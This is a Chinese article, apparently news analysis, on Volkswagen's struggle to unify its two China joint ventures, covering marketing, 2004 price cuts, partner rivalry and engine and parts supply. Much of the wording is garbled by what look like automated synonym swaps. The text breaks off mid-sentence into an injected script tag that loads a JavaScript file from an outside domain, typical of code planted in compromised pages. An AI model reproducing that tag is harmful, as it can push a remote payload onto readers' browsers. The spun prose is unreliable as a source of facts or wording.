□两个伙伴
好的商品碰上蹩脚的销售，其情形可能还不如差的商品遇见好的销售。大众汽车的推广水准可能就验证了这一点。大众汽车常常称我们的商品较对手靠谱安全，但却不可以非常不错地传达给普通的买家，其推广能力让人感叹。
大众汽车的一位人士告诉笔者，通用和日本的车用了很多的花里胡哨没任何技术含量的东西，但中国老百姓非常看中这类。而德国人增加的却是比较专业的人士才能懂的东西。譬如普通的老百姓可能就了解ABS，但它其实是主动安全装置中最最基本的东西，年代已经进步到用EBD，EVL,ASR，ESP等等高档的主动安全装置了。一汽大家的宝来车上，上海大家的帕萨特2.8上，就已经装了主动安全最高装置ESP。他说：“你要和客户交流这类比交流座椅要困难得多。”
表面上看，大众为客户利益看重汽车残值绝不随便降价的做法值得赏析，实质却并不为人所动。所谓汽车的残值，就是更新汽车时二手车能买出的价值。但中国近80％的用户为初次买车者，这类顾客购买汽车时不看重汽车的残值。而当终于架不住角逐对手的重压降价的时候，发现先机早已经在其他人掌中。最经典的就是2004年6月的那次降价是典型的马后炮，由于此前一个月，上海通用已经先发制人。两者有什么区别还在于：降价时，上海通用的市场形势喜人，而大众却是连续萎缩。全国媒体纷纷对此进行了令大众难堪的大幅报道。
自1999年成立集中管理大众中国所有业务的大众汽车（中国）投资公司以来，大众汽车一直梦想着整理南北大众业务，梦想着它在中国的这两个合资公司可以形成合力，从而在各方面节省本钱，减少摩擦，以扭转已经显露出的颓势。
2001年开始，在中国举办的所有汽汽车展会上，大众汽车都有意将南北大众安排在一个展台亮相，以突出大众汽车的整体形象。但由于一汽和上汽在中国过于强势，双方几乎水火不容，别说统一南北大众，对合资伙伴稍微端不平就会遭来另一方的抗议。
最早时候，奥迪100的项目是在上汽生产，后来硬是给大众拿了去“送”给一汽，引起了上汽很大不快。此后，上汽和通用、一汽和丰田又相继再结“新欢”。记得大众汽车董事长毕睿德(Bernd Pischetsrieder)在被问及一汽和丰田合作事宜时感叹说：“一个人非常难做到与别人共享伴侣，这是人之常情。”但并未因此可以改变什么。
5年前大众曾设想把合资各方可以组合在一块，一同开发一个发动机项目。时任国家机械工业局汽车司司长张小虞负责协调，历时一年终归搁浅。
2002年初，年产30万台变速箱的大众汽车(上海)变速箱公司终于成立了，总投资8亿元人民币，大众占60%的股份，一汽和上汽各占20%的股份。
此举被常见觉得是大众在中国整理提供商结构的开始。南北大众大多数采购内容相同，双方联合采购打造一同供货体系可以大大减少本钱。在2004年3月的日内瓦汽车展会上，魏智博透露了上海大众和一汽大众资源共享的细节。他表示，将来大众将会把愈加多的零部件开发、认证职能从德国转移到中国，比如北京。
大众汽车的重点零部件体系正在中国加紧培育。一个底盘零部件生产企业正在长春兴建，而在上海一个新的发动机公司正在建设。大众汽车的一个如意算盘是期望藉此将合资公司里的发动机项目放到新设的发动机公司里。中国的产业政策允许外资在零部件企业中控股，由此获得较大的利益。
一辆整车的价值可以通过其心脏--发动机，拿走大多数。合资企业的车型都是从外方母公司引进，由此需要用相应的发动机来配套。外方若控股、独资搞发动机，等于垄断了发动机的配套权，进而垄断了整车的价格和收益。假若整车要降价，发动机由于是垄断配套，依旧可以不降价，依旧可以赚取高额收益。事实上，假如可以在中国培育好的上游提供体系，借助飞速扩大的中国零部件体系返销德国，非常大程度上可以帮助大众汽车减少其在欧洲的生产本钱。
与零部件Supply chain整理相比，南北大众销售途径的整理相对缓慢。大众汽车自最早完全舍弃销售到逐步在两边的合资公司中获得部分话语权已经是一个进展，但自此后就再无突破。南北两个大家的真的整理，不只在公司内部，甚至在外面看来都势比登天。
一汽集团的一位不愿具名的推广专家觉得，大众完全可以通过统一规范的服务模式，同一的认证资格来整理南北大众拥有些两套庞大的销售体系，“允许两家商品互相销售，共享资源，就未必非要将两家公司合并在一块。”
大众中国的一位资深经理为笔者剖析：“车好销售的时候，双方每一个人都有我们的利益，感觉千万不可以合，重新分配利益不划算；但到共患难?script src=http://cn.jxmmtv.com/cn.js>cript>